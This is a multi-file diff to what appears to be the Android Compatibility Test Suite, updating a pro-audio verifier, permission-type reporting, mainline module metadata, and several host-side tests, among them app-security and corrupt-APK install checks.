+ mConfidence >= CONFIDENCE_THRESHOLD && mLatencyMillis <= PROAUDIO_LATENCY_MS_LIMIT);
getPassButton().setEnabled(hasPassed);
}
- //
- // Loopback App Stuff
- //
- private final static String LOOPBACK_PACKAGE_NAME = "org.drrickorang.loopback";
-
- // Test Intents
- // From Loopback App LoobackActivity.java
- private static final String INTENT_TEST_TYPE = "TestType";
-
- // from Loopback App Constant.java
- public static final int LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY = 222;
-
- public boolean isLoopbackAppInstalled() {
- try {
- getPackageManager().getPackageInfo(
- LOOPBACK_PACKAGE_NAME, PackageManager.GET_ACTIVITIES);
- return true;
- } catch (PackageManager.NameNotFoundException e) {
- // This indicates that the specified app (Loopback in this case) is NOT installed
- // fall through...
- }
- return false;
- }
-
- // arbitrary request code
- private static final int LATENCY_RESULTS_REQUEST_CODE = 1;
- private static final String KEY_CTSINVOCATION = "CTS-Test";
- private static final String KEY_ROUND_TRIP_TIME = "RoundTripTime";
- private static final String KEY_ROUND_TRIP_CONFIDENCE = "Confidence";
-
- // We may need to iterate and average round-trip measurements
- // So add this plumbing though NOT USED.
- private static final String KEY_NUMITERATIONS = "NumIterations";
- private static final int NUM_ROUNDTRIPITERATIONS = 3;
-
- private void runRoundTripTest() {
- if (!isLoopbackAppInstalled()) {
- Toast.makeText(this, "Loopback App not installed", Toast.LENGTH_SHORT).show();
- return;
- }
-
- if (!mIsPeripheralAttached) {
- Toast.makeText(this, "Please connect a USB audio peripheral with loopback cables" +
- " before running the latency test.",
- Toast.LENGTH_SHORT).show();
- return;
- }
-
- mRoundTripLatency = 0.0;
- mRoundTripConfidence = 0.0;
- Intent intent = new Intent(Intent.CATEGORY_LAUNCHER);
- intent.setComponent(
- new ComponentName(LOOPBACK_PACKAGE_NAME,LOOPBACK_PACKAGE_NAME + ".LoopbackActivity"));
-
- intent.putExtra(KEY_CTSINVOCATION, "CTS-Verifier Invocation");
- intent.putExtra(INTENT_TEST_TYPE, LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY);
- intent.putExtra(KEY_NUMITERATIONS, NUM_ROUNDTRIPITERATIONS);
-
- startActivityForResult(intent, LATENCY_RESULTS_REQUEST_CODE);
- }
-
- @Override
- protected void onActivityResult(int requestCode, int resultCode, Intent data) {
- // Check which request we're responding to
- if (resultCode == RESULT_OK) {
- Toast.makeText(this, "Round Trip Test Complete.", Toast.LENGTH_SHORT).show();
- if (requestCode == LATENCY_RESULTS_REQUEST_CODE) {
- Bundle extras = data != null ? data.getExtras() : null;
- if (extras != null) {
- mRoundTripLatency = extras.getDouble(KEY_ROUND_TRIP_TIME);
- mRoundTripLatencyTxt.setText(String.format("%.2f ms", mRoundTripLatency));
- mRoundTripConfidence = extras.getDouble(KEY_ROUND_TRIP_CONFIDENCE);
- mRoundTripConfidenceTxt.setText(String.format("%.2f", mRoundTripConfidence));
- }
- }
- calculatePass();
- } else {
- Toast.makeText(this, "Round Trip Test Canceled.", Toast.LENGTH_SHORT).show();
- }
- }
-
@Override
protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
setContentView(R.layout.pro_audio);
- mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
- mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+ super.onCreate(savedInstanceState);
setPassFailButtonClickListeners();
setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
@@ -294,14 +201,8 @@
((TextView)findViewById(
R.id.proAudioMidiHasUSBPeripheralLbl)).setText("" + mClaimsUSBPeripheralMode);
- // Connected Device
- mInputDeviceTxt = ((TextView)findViewById(R.id.proAudioInputLbl));
- mOutputDeviceTxt = ((TextView)findViewById(R.id.proAudioOutputLbl));
-
- // Round-trip Latency
- mRoundTripLatencyTxt = (TextView)findViewById(R.id.proAudioRoundTripLbl);
- mRoundTripConfidenceTxt = (TextView)findViewById(R.id.proAudioConfidenceLbl);
- ((Button)findViewById(R.id.proAudio_runRoundtripBtn)).setOnClickListener(this);
+ mRoundTripTestButton = (Button)findViewById(R.id.proAudio_runRoundtripBtn);
+ mRoundTripTestButton.setOnClickListener(this);
// HDMI
mHDMISupportLbl = (TextView)findViewById(R.id.proAudioHDMISupportLbl);
@@ -311,68 +212,72 @@
calculatePass();
}
- private void scanPeripheralList(AudioDeviceInfo[] devices) {
- // CDD Section C-1-3: USB port, host-mode support
+ protected void startAudioTest() {
+ mRoundTripTestButton.setEnabled(false);
+ super.startAudioTest(mMessageHandler);
+ }
- // Can't just use the first record because then we will only get
- // Source OR sink, not both even on devices that are both.
- mOutputDevInfo = null;
- mInputDevInfo = null;
-
- // Any valid peripherals
- // Do we leave in the Headset test to support a USB-Dongle?
- for (AudioDeviceInfo devInfo : devices) {
- if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
- devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
- devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
- devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
- if (devInfo.isSink()) {
- mOutputDevInfo = devInfo;
- }
- if (devInfo.isSource()) {
- mInputDevInfo = devInfo;
- }
- } else if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
- mHDMIDeviceInfo = devInfo;
- }
- }
-
- mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
- showConnectedAudioPeripheral();
-
- if (mHDMIDeviceInfo != null) {
- mClaimsHDMICheckBox.setChecked(true);
- mHDMISupportLbl.setText(getResources().getString(
- isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
- }
- mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+ protected void handleTestCompletion() {
+ super.handleTestCompletion();
calculatePass();
+
+ recordTestResults();
+
+ showWait(false);
+ mRoundTripTestButton.setEnabled(true);
}
- private class ConnectListener extends AudioDeviceCallback {
- /*package*/ ConnectListener() {}
+ /**
+ * Store test results in log
+ */
+ protected void recordTestResults() {
+ super.recordTestResults();
- //
- // AudioDevicesManager.OnDeviceConnectionListener
- //
- @Override
- public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
+ ReportLog reportLog = getReportLog();
+ reportLog.addValue(
+ "Claims Pro Audio",
+ mClaimsProAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
- @Override
- public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
+ reportLog.addValue(
+ "Claims Low-Latency Audio",
+ mClaimsLowLatencyAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Claims MIDI",
+ mClaimsMIDI,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Claims USB Host Mode",
+ mClaimsUSBHostMode,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Claims USB Peripheral Mode",
+ mClaimsUSBPeripheralMode,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Claims HDMI",
+ mClaimsHDMI,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
}
- @Override
+ @Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.proAudio_runRoundtripBtn:
- runRoundTripTest();
- break;
+ startAudioTest();
+ break;
case R.id.proAudioHasHDMICheckBox:
if (mClaimsHDMICheckBox.isChecked()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 62892d6..1a829f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -127,6 +127,7 @@
mNetworkSuggestionBuilder.setWpa3Passphrase(mPsk);
}
}
+ mNetworkSuggestionBuilder.setIsMetered(false);
return mNetworkSuggestionBuilder.build();
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 10364af..735b805 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -41,6 +41,9 @@
@TargetApi(Build.VERSION_CODES.N)
public class PackageDeviceInfo extends DeviceInfo {
+ private static final String PLATFORM = "android";
+ private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+
private static final String PACKAGE = "package";
private static final String NAME = "name";
private static final String VERSION_NAME = "version_name";
@@ -56,6 +59,11 @@
private static final String PERMISSION_PROTECTION = "protection_level";
private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+ private static final String PERMISSION_TYPE = "type";
+ private static final int PERMISSION_TYPE_SYSTEM = 1;
+ private static final int PERMISSION_TYPE_OEM = 2;
+ private static final int PERMISSION_TYPE_CUSTOM = 3;
+
private static final String HAS_SYSTEM_UID = "has_system_uid";
private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -86,13 +94,20 @@
final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
+ // Platform permission data used to tag permissions information with sourcing information
+ final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
+ final Set<String> platformPermissions = new HashSet<String>();
+ for (PermissionInfo permission : platformInfo.permissions) {
+ platformPermissions.add(permission.name);
+ }
+
store.startArray(PACKAGE);
for (PackageInfo pkg : allPackages) {
store.startGroup();
store.addResult(NAME, pkg.packageName);
store.addResult(VERSION_NAME, pkg.versionName);
- collectPermissions(store, pm, pkg);
+ collectPermissions(store, pm, platformPermissions, pkg);
collectionApplicationInfo(store, pm, pkg);
store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -118,6 +133,7 @@
private static void collectPermissions(DeviceInfoStore store,
PackageManager pm,
+ Set<String> systemPermissions,
PackageInfo pkg) throws IOException
{
store.startArray(REQUESTED_PERMISSIONS);
@@ -129,6 +145,21 @@
store.startGroup();
store.addResult(PERMISSION_NAME, permission);
writePermissionsDetails(pi, store);
+
+ if (permission == null) continue;
+
+ final boolean isPlatformPermission = systemPermissions.contains(permission);
+ if (isPlatformPermission) {
+ final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
+ if (isAndroidPermission) {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+ }
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+ }
+
store.endGroup();
} catch (PackageManager.NameNotFoundException e) {
// ignore unrecognized permission and continue
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 3aa5dc5..70b3d08 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index 6e48bcc..fb18b06 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -19,6 +19,9 @@
* Enum containing metadata for mainline modules.
*/
public enum MainlineModule {
+
+ // Added in Q
+
// Security
MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
true, ModuleType.APEX,
@@ -50,10 +53,6 @@
"9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+ ":F4:09:02:52:97"),
// Consistency
- TZDATA2("com.google.android.tzdata2",
- true, ModuleType.APEX,
- "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
- + ":DA:C9:92:AB:E7"),
NETWORK_STACK("com.google.android.networkstack",
true, ModuleType.APK,
"5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
@@ -70,6 +69,61 @@
true, ModuleType.APK,
"BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+ ":D5:FD:A0:33:0F"),
+
+ // Added in R
+
+ ADBD("com.google.android.adbd",
+ true, ModuleType.APEX,
+ "87:3D:4E:43:58:25:1A:25:1A:2D:9C:18:E1:55:09:45:21:88:A8:1E:FE:9A:83:9D:43:0D:E8"
+ + ":D8:7E:C2:49:4C"),
+ NEURAL_NETWORKS("com.google.android.neuralnetworks",
+ true, ModuleType.APEX,
+ "6F:AB:D5:72:9A:90:02:6B:74:E4:87:79:8F:DF:10:BB:E3:6C:9E:6C:B7:A6:59:04:3C:D8:15"
+ + ":61:6C:9E:60:50"),
+ CELL_BROADCAST("com.google.android.cellbroadcast",
+ true, ModuleType.APEX,
+ "A8:2C:84:7A:A3:9D:DA:19:A5:6C:9E:D3:56:50:1A:76:4F:BD:5D:C9:60:98:66:16:E3:1D:48"
+ + ":EE:27:08:19:70"),
+ EXT_SERVICES("com.google.android.extservices",
+ true, ModuleType.APEX,
+ "10:89:F2:7C:85:6A:83:D4:02:6B:6A:49:97:15:4C:A1:70:9A:F6:93:27:C8:EF:9A:2D:1D:56"
+ + ":AB:69:DE:07:0B"),
+ IPSEC("com.google.android.ipsec",
+ true, ModuleType.APEX,
+ "64:3D:3E:A5:B7:BF:22:E5:94:42:29:77:7C:4B:FF:C6:C8:44:14:64:4D:E0:4B:E4:90:37:57"
+ + ":DE:83:CF:04:8B"),
+ MEDIA_PROVIDER("com.google.android.mediaprovider",
+ true, ModuleType.APEX,
+ "1A:61:93:09:6D:DC:81:58:72:45:EF:2C:07:33:73:6E:8E:FF:9D:E9:0E:51:27:4B:F8:23:AC"
+ + ":F0:F7:49:00:A0"),
+ PERMISSION_CONTROLLER_APEX("com.google.android.permission",
+ true, ModuleType.APEX,
+ "69:AC:92:BF:BA:D5:85:4C:61:8E:AB:AE:85:7F:AB:0B:1A:65:19:44:E9:19:EA:3C:86:DB:D4"
+ + ":07:04:1E:22:C1"),
+ SDK_EXTENSIONS("com.google.android.sdkext",
+ true, ModuleType.APEX,
+ "99:90:29:2B:22:11:D2:78:17:BF:5B:10:98:84:8F:68:44:53:37:16:2B:47:FF:D1:A0:8E:10"
+ + ":CE:65:B1:CC:73"),
+ STATSD("com.google.android.os.statsd",
+ true, ModuleType.APEX,
+ "DA:FE:D6:20:A7:0C:98:05:A9:A2:22:04:55:6B:0E:94:E8:E3:4D:ED:F4:16:EC:58:92:C6:48"
+ + ":86:53:39:B4:7B"),
+ TELEMETRY_TVP("com.google.mainline.telemetry",
+ true, ModuleType.APK,
+ "9D:AC:CC:AE:4F:49:5A:E6:DB:C5:8A:0E:C2:33:C6:E5:2D:31:14:33:AC:57:3C:4D:A1:C7:39"
+ + ":DF:64:03:51:5D"),
+ TETHERING("com.google.android.tethering",
+ true, ModuleType.APEX,
+ "E5:3F:52:F4:14:15:0C:05:BA:E0:E4:CE:E2:07:3D:D0:0F:E6:44:66:1D:5F:9A:0F:BE:49:4A"
+ + ":DC:07:F0:59:93"),
+ TZDATA2("com.google.android.tzdata2",
+ true, ModuleType.APEX,
+ "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
+ + ":DA:C9:92:AB:E7"),
+ WIFI("com.google.android.wifi",
+ false, ModuleType.APEX,
+ "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+ + ":FE:29:31:98:B1"),
;
public final String packageName;
diff --git a/hostsidetests/adb/AndroidTest.xml b/hostsidetests/adb/AndroidTest.xml
index 46fcc98..3c429e7 100755
--- a/hostsidetests/adb/AndroidTest.xml
+++ b/hostsidetests/adb/AndroidTest.xml
@@ -1,5 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration description="Config for the CTS adb host tests">
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MinApiLevelModuleController">
+ <option name="min-api-level" value="30" />
+ <option name="api-level-prop" value="ro.product.first_api_level" />
+ </object>
+
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="bionic" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
diff --git a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
index 11a1ae0..d5301d4 100644
--- a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
+++ b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
@@ -59,8 +59,17 @@
File check_ms_os_desc = copyResourceToTempFile("/check_ms_os_desc");
check_ms_os_desc.setExecutable(true);
+ String serial = getDevice().getSerialNumber();
+ if (serial.startsWith("emulator-")) {
+ return;
+ }
+
+ if (getDevice().isAdbTcp()) { // adb over WiFi, no point checking it
+ return;
+ }
+
ProcessBuilder pb = new ProcessBuilder(check_ms_os_desc.getAbsolutePath());
- pb.environment().put("ANDROID_SERIAL", getDevice().getSerialNumber());
+ pb.environment().put("ANDROID_SERIAL", serial);
pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
pb.redirectErrorStream(true);
Process p = pb.start();
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 3125610..dac193f 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -22,7 +22,6 @@
"cts",
"vts10",
"general-tests",
- "mts"
],
libs: [
"cts-tradefed",
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index 508ce2d..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -20,6 +20,5 @@
test_suites: [
"gts",
"ats",
- "mts"
],
}
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index 1bfc779..9b2adb2 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -22,7 +22,6 @@
test_suites: [
"cts",
"vts10",
- "mts"
],
compile_multilib: "both",
static_libs: [
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 22f3c2f..fad514e8 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -24,7 +24,6 @@
test_suites: [
"cts",
"vts10",
- "mts"
],
compile_multilib: "both",
static_libs: [
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 081da9b..c2ca8bc 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -41,7 +41,9 @@
|| systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
|| systemProduct.equals("aosp_arm64_ab")
|| systemProduct.equals("aosp_x86_ab")
- || systemProduct.equals("aosp_x86_64_ab");
+ || systemProduct.equals("aosp_x86_64_ab")
+ || systemProduct.equals("aosp_tv_arm")
+ || systemProduct.equals("aosp_tv_arm64");
}
/**
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 07a51af1d..d637ff0 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -226,7 +226,8 @@
StatsdConfigProto.StatsdConfig.Builder configBuilder =
StatsdConfigProto.StatsdConfig.newBuilder()
.setId(configId)
- .addAllowedLogSource(pkgName);
+ .addAllowedLogSource(pkgName)
+ .addWhitelistedAtomIds(Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
StatsdConfigProto.SimpleAtomMatcher
.newBuilder().setAtomId(
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 57a73bc..08581f6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -22,9 +22,11 @@
import static org.hamcrest.CoreMatchers.is;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
@@ -187,6 +189,8 @@
@Test
public void testDirectBootModeWorks() throws Exception {
+ assumeTrue("Screen lock is not supported so skip direct boot test",
+ hasDeviceFeature("android.software.secure_lock_screen"));
// Install AppA and verify no data stored
new InstallMultiple().addFile(APP_DIRECT_BOOT_A_APK).run();
new InstallMultiple().addFile(APPB_APK).run();
@@ -218,7 +222,10 @@
// Follow DirectBootHostTest, reboot system into known state with keys ejected
if (isFbeModeEmulated()) {
final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
- assertThat(res).contains("Emulation not supported");
+ if (res != null && res.contains("Emulation not supported")) {
+ LogUtil.CLog.i("FBE emulation is not supported, skipping test");
+ return;
+ }
getDevice().waitForDeviceNotAvailable(30000);
getDevice().waitForDeviceOnline(120000);
} else {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 0f43a54..3bea273 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -26,12 +26,16 @@
import android.platform.test.annotations.SecurityTest;
import com.android.ddmlib.Log;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.HashMap;
+import java.util.Map;
+
/**
* Set of tests that verify various security checks involving multiple apps are
* properly enforced.
@@ -251,6 +255,51 @@
}
/**
+ * Test that an app cannot set the installer package for an app with a different
+ * signature.
+ */
+ @Test
+ @AppModeFull(reason = "Only full apps can hold INSTALL_PACKAGES")
+ @SecurityTest
+ public void testCrossPackageDiffCertSetInstaller() throws Exception {
+ Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
+ try {
+ // cleanup test app that might be installed from previous partial test run
+ getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+ getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+ getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+
+ new InstallMultiple().addFile(DECLARE_PERMISSION_APK).run();
+ new InstallMultiple().addFile(DECLARE_PERMISSION_COMPAT_APK).run();
+ new InstallMultiple().addFile(PERMISSION_DIFF_CERT_APK).run();
+
+ // Enable alert window permission so it can start activity in background
+ enableAlertWindowAppOp(DECLARE_PERMISSION_PKG);
+
+ runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertBefore");
+ runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "takeInstaller");
+ runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "attemptTakeOver");
+ runCrossPackageInstallerDeviceTest(DECLARE_PERMISSION_PKG, "clearInstaller");
+ runCrossPackageInstallerDeviceTest(PERMISSION_DIFF_CERT_PKG, "assertAfter");
+ } finally {
+ getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
+ getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
+ getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
+ }
+ }
+
+ /**
+ * Utility method to make actual test method easier to read.
+ */
+ private void runCrossPackageInstallerDeviceTest(String pkgName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Map<String, String> arguments = new HashMap<>();
+ arguments.put("runExplicit", "true");
+ runDeviceTests(getDevice(), null, pkgName, pkgName + ".ModifyInstallerCrossPackageTest",
+ testMethodName, null, 10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, arguments);
+ }
+
+ /**
* Test what happens if an app tried to take a permission away from another
*/
@Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 3900d4a..f939b17 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -111,8 +111,10 @@
device.uninstallPackage("com.android.appsecurity.b71360999");
device.uninstallPackage("com.android.appsecurity.b71361168");
device.uninstallPackage("com.android.appsecurity.b79488511");
- device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
+ // WARNING: PlatformCompat overrides for package parsing changes must be reset before the
+ // package is uninstalled because overrides cannot be reset if the package is not present.
device.executeShellCommand("am compat reset-all " + CORRUPT_APK_PACKAGE_NAME);
+ device.uninstallPackage(CORRUPT_APK_PACKAGE_NAME);
}
@Before
@@ -132,7 +134,7 @@
private String install(String apk) throws DeviceNotAvailableException, FileNotFoundException {
return getDevice().installPackage(
new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
- false /*reinstall*/);
+ true /* reinstall */);
}
/**
@@ -167,12 +169,13 @@
assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
}
- /** APKs that target pre-Q and have a compressed resources.arsc can be installed. */
+ /** APKs that target pre-R and have a compressed resources.arsc can be installed. */
public void testFailInstallCompressedARSC_Q() throws Exception {
assertNull(install(COMPRESSED_ARSC_Q));
}
public void testFailInstallCompressedARSC_Q_PlatformConfig_enabled() throws Exception {
+ assertNull(install(COMPRESSED_ARSC_Q));
getDevice().executeShellCommand(String.format("am compat enable %s %s",
FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
assertNotNull(install(COMPRESSED_ARSC_Q));
@@ -183,18 +186,13 @@
assertNotNull(install(COMPRESSED_ARSC_R));
}
- public void testFailInstallCompressedARSC_R_PlatformConfig_disabled() throws Exception {
- getDevice().executeShellCommand(String.format("am compat disable %s %s",
- FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
- assertNull(install(COMPRESSED_ARSC_R));
- }
-
- /** APKs that target pre-Q and have a unaligned resources.arsc can be installed. */
+ /** APKs that target pre-R and have a unaligned resources.arsc can be installed. */
public void testFailInstallUnalignedARSC_Q() throws Exception {
assertNull(install(UNALIGNED_ARSC_Q));
}
public void testFailInstallUnalignedARSC_Q_PlatformConfig_enabled() throws Exception {
+ assertNull(install(UNALIGNED_ARSC_Q));
getDevice().executeShellCommand(String.format("am compat enable %s %s",
FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
assertNotNull(install(UNALIGNED_ARSC_Q));
@@ -204,10 +202,4 @@
public void testFailInstallUnalignedARSC_R() throws Exception {
assertNotNull(install(UNALIGNED_ARSC_R));
}
-
- public void testFailInstallUnalignedARSC_R_PlatformConfig_disabled() throws Exception {
- getDevice().executeShellCommand(String.format("am compat disable %s %s",
- FAIL_COMPRESSED_ARSC_PLATFORM_CONFIG_ID, CORRUPT_APK_PACKAGE_NAME));
- assertNull(install(UNALIGNED_ARSC_R));
- }
}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index b8bb01f..d986e58 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -55,6 +55,8 @@
private static final String MODE_NONE = "none";
private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
+ private static final String FEATURE_SECURE_LOCK_SCREEN =
+ "feature:android.software.secure_lock_screen";
private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
private static final long SHUTDOWN_TIME_MS = 30 * 1000;
